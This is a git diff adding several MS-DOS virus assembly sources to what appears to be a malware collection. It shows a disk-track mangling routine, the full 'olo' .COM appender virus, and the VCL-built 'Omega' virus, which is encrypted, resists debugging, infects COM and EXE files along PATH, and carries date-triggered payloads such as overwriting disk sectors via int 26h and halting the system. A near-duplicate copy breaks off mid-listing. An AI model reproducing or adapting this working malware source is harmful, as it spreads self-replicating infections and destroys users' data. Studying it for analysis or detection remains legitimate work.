+;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(0813) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +cp_boot_record proc near + push di + mov cx,3Ah + mov si,offset buffer_area + 3 ; (seg_a:08A5) + mov di,offset disk_info ; (seg_a:0003) + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + + pop di + retn +cp_boot_record endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; read or write a track SUBROUTINE(0822) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +; read a track + +rd_track proc near + mov xx_track_func,2 ; (seg_a:0832=0) + nop + jmp short loc_51 ; (0833) + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; write a track + +wr_track: + mov xx_track_func,3 ; (seg_a:0832=0) + nop + jmp short loc_51 ; (0833) + +xx_track_func db 0 ; function to execute + +loc_51: + push ax + xor dx,dx ; Zero register + mov cx,DiskHeads ; (seg_a:001A=2) + div cx ; ax,dx rem=dx:ax/reg + mov sector,1 ; (seg_a:0140=1) + mov head,dl ; (seg_a:013F=0) + mov track,ax ; (seg_a:0141=4) + mov ax,store_es ; (seg_a:0862=0) + mov es,ax + mov ah,xx_track_func ; (seg_a:0832=0) + mov al,byte ptr SectorsPerTrack ; (seg_a:0018=9) + call direct_int13 ; (014B) + jnc loc_52 ; Jump if carry=0 + + mov ah,0 + int 13h ; Disk dl=drive #: ah=func a0h + ; reset disk, al=return status + stc ; Set carry flag +loc_52: + pop ax + retn +rd_track endp + +words_to_mangle dw 0 +store_es dw 0 + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; mess up a sector(0864) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +mangle_track proc near + push ax + push ds + push store_es ; (seg_a:0862=0) + pop ds + mov cx,cs:words_to_mangle ; (seg_a:0860=0) + mov dl,al + shr dl,1 ; Shift w/zeros fill + jc loc_53 ; Jump if carry Set + xor ax,0AAAAh + jmp short locloop_54 ; (087E) +loc_53: + xor ax,5555h + +locloop_54: + xor ax,[bx] + mov [bx],ax + inc bx + inc bx + loop locloop_54 ; Loop if cx > 0 + + pop ds + pop ax + retn +mangle_track endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE(0889) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +display_str proc near + push cx + mov cx,1 +loc_55: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_57 ; exit loop if zero + cmp al,20h + jb loc_56 ; Jump if below (no control chars please) + mov ah,9 + int 10h ; Video display ah=functn 09h + ; set char al & attrib bl @curs +loc_56: + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_55 ; (088D) +loc_57: + pop cx + retn +display_str endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; DATA +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + + +buffer_area db 0FDh ; (08A2) + dw 0FFFFh + db 347 dup (0) +end_of_code equ this byte + +seg_a ends + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.olo.asm b/MSDOS/Virus.MSDOS.Unknown.olo.asm new file mode 100644 index 00000000..e6d3d590 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.olo.asm @@ -0,0 +1,367 @@ +; +; ÖÄÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÄÒÄ ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿ +; ÇÄÄ´ º ³ º º ÇÄ º ³ º +; Ð Á Ð Á ÓÄÄÙ ÄÐÄ ÐÄÄÙ Ð Á Ð +; ÖÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿ +; ÓÄ¿ ÇÄÄ´ º Ä¿ ÇÄ +; ÓÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ +; +; ...from the books of pAgE +; + + + .model tiny + .code + + org 100h + +depth_of_well equ longer_than-my_dick + +my_dick: + call yump_up_and_go + +yump_up_and_go: pop bp + sub bp,offset yump_up_and_go + jmp hop_over_da_shit + +and_over_it_again: mov ax,3524h + int 21h + mov word ptr [bp+stash_box],bx + mov word ptr [bp+stash_box+2],es + mov ah,25h + lea dx,[bp+offset int24] + int 21h + push cs + pop es + jmp gordon_effect + +hop_over_da_shit: lea si,[bp+stash_3] + mov di,100h + push di + movsw + movsb + + mov byte ptr [bp+how_many],4 +stupid_shit_trns: mov ah,1Ah + lea dx,[bp+new_chunk] + int 21h + + mov ah,47h + mov dl,0 + lea si,[bp+where_we_is] + int 21h + mov byte ptr [bp+eyelash],'\' + + jmp and_over_it_again + jmp bang_bang +put_fletch_on_it proc far + +yeeha_go: mov ah,0h + mov al,12h + int 10h + + jmp yo_homey_1 +stupid_shit_1 db 4 +stupid_shit_2 dw 0 + db 62h, 79h +copyright db '-->>pAgE<<--' + db '(C)1992 TuRN-THE-pAgE ' +stupid_shit_5 db 'Ancient Sages' + db ' ' + db ' Is one of pAgEs' + db ' ' + db '$' +yo_homey_1: + push si + push di + mov si,80h + cld + call mo_stupid_shit_1 + cmp byte ptr [si],0Dh + je yo_homey_4 + mov cx,28h + lea di,stupid_shit_5 +yo_homeyloop_2: + lodsb + cmp al,0Dh + je yo_homey_3 + stosb + loop yo_homeyloop_2 +yo_homey_3: + inc cx + mov al,2Eh + rep stosb +yo_homey_4: + pop di + pop si + + mov dx,si + mov cx,di + mov stupid_shit_2,cx +yo_homey_5: + mov stupid_shit_1,0FFh +yo_homey_6: + add stupid_shit_1,1 + mov bl,stupid_shit_1 + mov cx,40 + call mo_stupid_shit_2 + +yo_homeyloop_7: + mov al,byte ptr copyright+20h[bx] + mov ah,0eh + int 10h + + inc bx + call mo_stupid_shit_3 + mov dl,0FFh + mov ah,6 + int 21h + + jnz yo_homey_10 + loop yo_homeyloop_7 + + cmp byte ptr copyright+20h[bx],24h + je yo_homey_5 + jmp short yo_homey_6 + +put_fletch_on_it endp + +mo_stupid_shit_1 proc near + +yo_homey_8: + inc si + cmp byte ptr [si],20h + je yo_homey_8 + retn +mo_stupid_shit_1 endp + +mo_stupid_shit_2 proc near + + push ax + push bx + push cx + push dx + mov dx,si + mov cx,di + mov ah,0Fh + int 010h + mov ax,1210h + mov bx,55h + int 10h + pop dx + pop cx + pop bx + pop ax + + retn +mo_stupid_shit_2 endp + +mo_stupid_shit_3 proc near + push cx + mov cx,258h +yo_homeyloop_9: + loop yo_homeyloop_9 + pop cx + retn +mo_stupid_shit_3 endp + +yo_homey_10: + call mo_stupid_shit_2 + mov cx,4Fh +yo_homeyloop_11: + mov al,20h + mov ah,0Eh + int 10h + + loop yo_homeyloop_11 + + mov ah,1 + mov cx,stupid_shit_2 + int 10h + + jmp bang_bang + call fuck_da_monkey + +gordon_effect: lea dx,[bp+what_we_wants] + mov ah,4eh + mov cx,7h +findfirstyump_up_and_go: nop + int 21h + + mov al,0h + call tear_it_open + + xchg ax,bx + + mov ah,3fh + lea dx,[bp+muffler] + mov cx,1ah + int 21h + + mov ah,3eh + int 21h +check_it_out: + + mov ax,word ptr [bp+new_chunk+1Ah] + cmp ax,(longer_than-my_dick) + jb find_next + + cmp ax,65535-(longer_than-my_dick) + ja find_next + + mov bx,word ptr [bp+muffler+1] + add bx,longer_than-my_dick+3 + cmp ax,bx + je find_next + jmp yo_over_here +find_next: + mov ah,4fh + jmp short findfirstyump_up_and_go + mov ah,3bh + lea dx,[bp+dot_dot] + int 21h + jnc gordon_effect + + mov bx,word ptr [bp+muffler+1] + add bx,longer_than-my_dick+3 +yo_over_here: mov cx,3 + sub ax,cx + lea si,[bp+offset muffler] + lea di,[bp+offset stash_3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax +finishgordon_effection: + push cx + xor cx,cx + call attributes + + + mov al,2 + call tear_it_open + + mov ah,40h + lea dx,[bp+muffler] + pop cx + int 21h + + mov ax,4202h + xor cx,cx + cwd + int 21h + + mov ah,40h + lea dx,[bp+my_dick] + mov cx,longer_than-my_dick + int 21h + + mov ax,5701h + mov cx,word ptr [bp+new_chunk+16h] + mov dx,word ptr [bp+new_chunk+18h] + int 21h + + mov ah,3eh + int 21h + + mov ch,0 + mov cl,byte ptr [bp+new_chunk+15h] + call attributes + +leave_heeruh_virus: + mov ax,2524h + lds dx,[bp+offset stash_box] + int 21h + push cs + pop ds + +olley: call put_fletch_on_it + +tear_it_open proc near + mov ah,3dh + lea dx,[bp+new_chunk+30] + int 21h + xchg ax,bx + ret +endp tear_it_open + +attributes proc near + mov ax,4301h + lea dx,[bp+new_chunk+30] + int 21h + ret +endp attributes +int24: + mov al,3 + iret +yumpem_keep dd ? +how_many db ? +davey_jones dd ? +yumpem_keep2 db ? +stash_3 db 0cdh,20h,0 +davey_jones2 dd ? +what_we_wants db "*.COM",0 +muffler db 1ah dup (?) +stash_box dd ? +eyelash db ? +where_we_is db 64 dup (?) +new_chunk db 43 dup (?) +dot_dot db '..',0 + +;<><><><><><><><><><><><><><><><><><><><><><><><><><> +; Borrowed this segment from the VCL +;<><><><><><><><><><><><><><><><><><><><><><><><><><> + +bang_bang proc near + mov cx,0025h +new_shot: push cx + mov dx,0140h + mov bx,0100h + in al,061h + and al,11111100b +fire_shot: xor al,2 + out 061h,al + add dx,09248h + mov cl,3 + ror dx,cl + mov cx,dx + and cx,01FFh + or cx,10 +shoot_pause: loop shoot_pause + dec bx + jnz fire_shot + and al,11111100b + out 061h,al + mov bx,0002h + xor ah,ah + int 1Ah + add bx,dx +shoot_delay: int 1Ah + cmp dx,bx + jne shoot_delay + pop cx + loop new_shot +endp bang_bang + +fuck_da_monkey proc near + ;xor ah,ah + ;int 1Ah + ;xchg dx,ax + ;mov dx,0FFh +out_loop: ;out dx,al + ;dec dx + ;jne out_loop + + ;mov al,0002h + ;mov cx,3 + ;lea dx,stupid_shit1_file + ;int 26h + + ;cli + ;hlt + ;jmp short $ +endp fuck_da_monkey + int 20h +longer_than: + end my_dick + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.omega.asm b/MSDOS/Virus.MSDOS.Unknown.omega.asm new file mode 100644 index 00000000..72c794c7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.omega.asm @@ -0,0 +1,539 @@ +; OMEGA.ASM -- Omega: The End +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Noinger + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: add bx,0 + xchg bx,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0014h ; Do 20 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_month + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + call get_day + cmp ax,0010h ; Did the function return 16? + jle skip00 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov cx,423Fh ; First argument is 16959 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + mov si,0001h ; First argument is 1 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + +end00: call get_month + cmp ax,0009h ; Did the function return 9? + jne skip01 ; If not equal, skip effect + call get_day + cmp ax,0004h ; Did the function return 4? + jle skip01 ; If less that or equal, skip effect + jmp short strt01 ; Success -- skip jump +skip01: jmp end01 ; Skip the routine +strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h + +end01: call get_month + cmp ax,0001h ; Did the function return 1? + jne skip02 ; If not equal, skip effect + call get_day + cmp ax,0001h ; Did the function return 1? + jle skip02 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip02 ; If greater than or equal, skip effect + jmp short strt02 ; Success -- skip jump +skip02: jmp end02 ; Skip the routine +strt02: mov bx,0001h ; First argument is 1 + mov si,0002h ; Second argument is 2 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl bx,1 ; Convert to word index + shl si,1 ; Convert to word index + mov ax,word ptr [bx + 03FEh]; Zero COM port address + xchg word ptr [si + 03FEh],ax; Put first value in second, + mov word ptr [bx + 03FEh],ax; and second value in first! + pop es ; Restore ES + +end02: call get_month + cmp ax,000Bh ; Did the function return 11? + jne skip03 ; If not equal, skip effect + call get_day + cmp ax,0004h ; Did the function return 4? + jle skip03 ; If less that or equal, skip effect + call get_hour + cmp ax,000Fh ; Did the function return 15? + jge skip03 ; If greater than or equal, skip effect + jmp short strt03 ; Success -- skip jump +skip03: jmp end03 ; Skip the routine +strt03: int 018h ; Drop to ROM BASIC + +end03: call get_month + cmp ax,000Ch ; Did the function return 12? + jne skip04 ; If not equal, skip effect + call get_day + cmp ax,0002h ; Did the function return 2? + jle skip04 ; If less that or equal, skip effect + cmp ax,0002h ; Did the function return 2? + jge skip04 ; If greater than or equal, skip effect + jmp short strt04 ; Success -- skip jump +skip04: jmp end04 ; Skip the routine +strt04: cli ; Clear the interrupt flag + hlt ; HaLT the computer + jmp short $ ; Just to make sure + +end04: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip05 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + call get_hour + cmp ax,0005h ; Did the function return 5? + jle skip05 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip05 ; If greater than or equal, skip effect + call get_second + cmp ax,0001h ; Did the function return 1? + jne skip05 ; If not equal, skip effect + jmp short strt05 ; Success -- skip jump +skip05: jmp end05 ; Skip the routine +strt05: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end05: call get_year + cmp ax,07CDh ; Did the function return 1997? + jle skip06 ; If less that or equal, skip effect + call get_month + cmp ax,0001h ; Did the function return 1? + jle skip06 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip06 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip06 ; If greater than or equal, skip effect + call get_second + cmp ax,0005h ; Did the function return 5? + jne skip06 ; If not equal, skip effect + jmp short strt06 ; Success -- skip jump +skip06: jmp end06 ; Skip the routine +strt06: mov ax,0002h ; First argument is 2 + mov cx,423Fh ; Second argument is 16959 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + +end06: mov ax,04C00h ; DOS terminate function + int 021h +main endp + + + db 0FDh,0C8h,006h,0C6h,0DFh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a .COM file + jnc done_searching ; If successful the exit + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect an .EXE file + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +exe_mask db "*.EXE",0 ; Mask for all .EXE files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: mov si,offset path_string ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [path_ad],di ; Save the PATH address for later + mov word ptr [path_ad + 2],es ; Save PATH's segment for later + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [path_ad] ; DS:SI points to the PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[path_ad],si; Store SI in the path address + ret ; Return to caller +found_subdir endp + + db 0BFh,0C0h,0BDh,072h,05Fh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 0A9h,06Bh,0DAh,081h,0AFh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,4 ; CX holds bytes to read (4) + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov di,offset flag ; DI points to virus flag + mov cx,4 ; CX holds number of bytes (4) + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + + db 0F1h,0F6h,003h,06Bh,099h + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + + db 0CDh,005h,004h,026h,0CFh + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + + db 0F3h,06Ah,0F8h,002h,08Ah + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + + db 0A8h,000h,015h,081h,0E7h + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + + db 03Fh,0FFh,089h,057h,0F2h + +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp + +data00: +db "Says the OMEGA virus:" + +db "It has been nice playing these games with you but now it is all over." +db "[...I am the Alpha and the Omega, the begining and the end.]" +db "-Rev 22:6" +db "Your C drive is being raptured!" + +db "[...It is finished...]" +db "-Rev 16:17" + + +db "____________" +db "/ \" +db "| |" +db "| |" +db "| |" +db "\ \ / /" +db "\______\ /______/" + +db "Omega" +db "(The End)" + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.omega1.asm b/MSDOS/Virus.MSDOS.Unknown.omega1.asm new file mode 100644 index 00000000..39034e97 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.omega1.asm @@ -0,0 +1,540 @@ +; OMEGA.ASM -- Omega: The End +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Noinger + +virus_type equ 1 ; Overwriting Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near +flag: add bx,0 + xchg bx,ax + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov cx,0014h ; Do 20 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + call get_month + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + call get_day + cmp ax,0010h ; Did the function return 16? + jle skip00 ; If less that or equal, skip effect + call get_hour + cmp ax,0009h ; Did the function return 9? + jle skip00 ; If less that or equal, skip effect + cmp ax,000Fh ; Did the function return 15? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov cx,423Fh ; First argument is 16959 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + mov si,0001h ; First argument is 1 + push es ; Save ES + xor ax,ax ; Set the extra segment to + mov es,ax ; zero (ROM BIOS) + shl si,1 ; Convert to word index + mov word ptr [si + 03FEh],0 ; Zero COM port address + pop es ; Restore ES + +end00: call get_month + cmp ax,0009h ; Did the function return 9? + jne skip01 ; If not equal, skip effect + call 